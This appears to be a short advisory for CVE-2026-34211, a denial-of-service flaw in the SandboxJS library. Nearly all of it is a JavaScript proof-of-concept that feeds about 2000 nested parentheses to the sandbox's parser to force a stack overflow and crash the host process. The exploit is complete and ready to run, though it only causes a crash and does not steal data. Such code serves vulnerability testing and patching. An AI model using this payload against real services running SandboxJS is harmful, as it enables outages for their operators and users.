CVE-2026-34211 SandboxJS 拒绝服务漏洞

// PoC for CVE-2026-34211 // This script generates a deeply nested string to trigger the stack overflow in SandboxJS const { Sandbox } = require('@nyariv/sandboxjs'); // Function to generate a string with 'depth' nested parentheses function generateNestedPayload(depth) { let payload = ''; for (let i = 0; i < depth; i++) { payload += '('; } for (let i = 0; i < depth; i++) { payload += ')'; } return payload; } async function exploit() { try { const sandbox = new Sandbox(); // Generate payload with ~2000 nested parentheses const maliciousInput = generateNestedPayload(2000); console.log("Sending malicious payload..."); // The parser will crash here due to unbounded recursion in restOfExp/lispify await sandbox.run(maliciousInput); } catch (e) { console.error("Error caught:", e.message); // In vulnerable versions, the process may terminate before this catch } } exploit();